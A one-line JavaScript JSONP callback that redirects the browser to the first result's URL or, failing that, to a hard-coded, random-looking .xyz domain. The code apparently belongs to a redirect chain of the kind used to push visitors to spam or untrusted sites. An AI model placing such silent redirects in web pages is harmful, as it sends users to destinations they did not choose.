function jCallBack(data){ if(data["results"].length>0){ window.location.href=data["results"][0].url; }else{ window.location.href='http://ofibilityalmacacus.xyz/' } }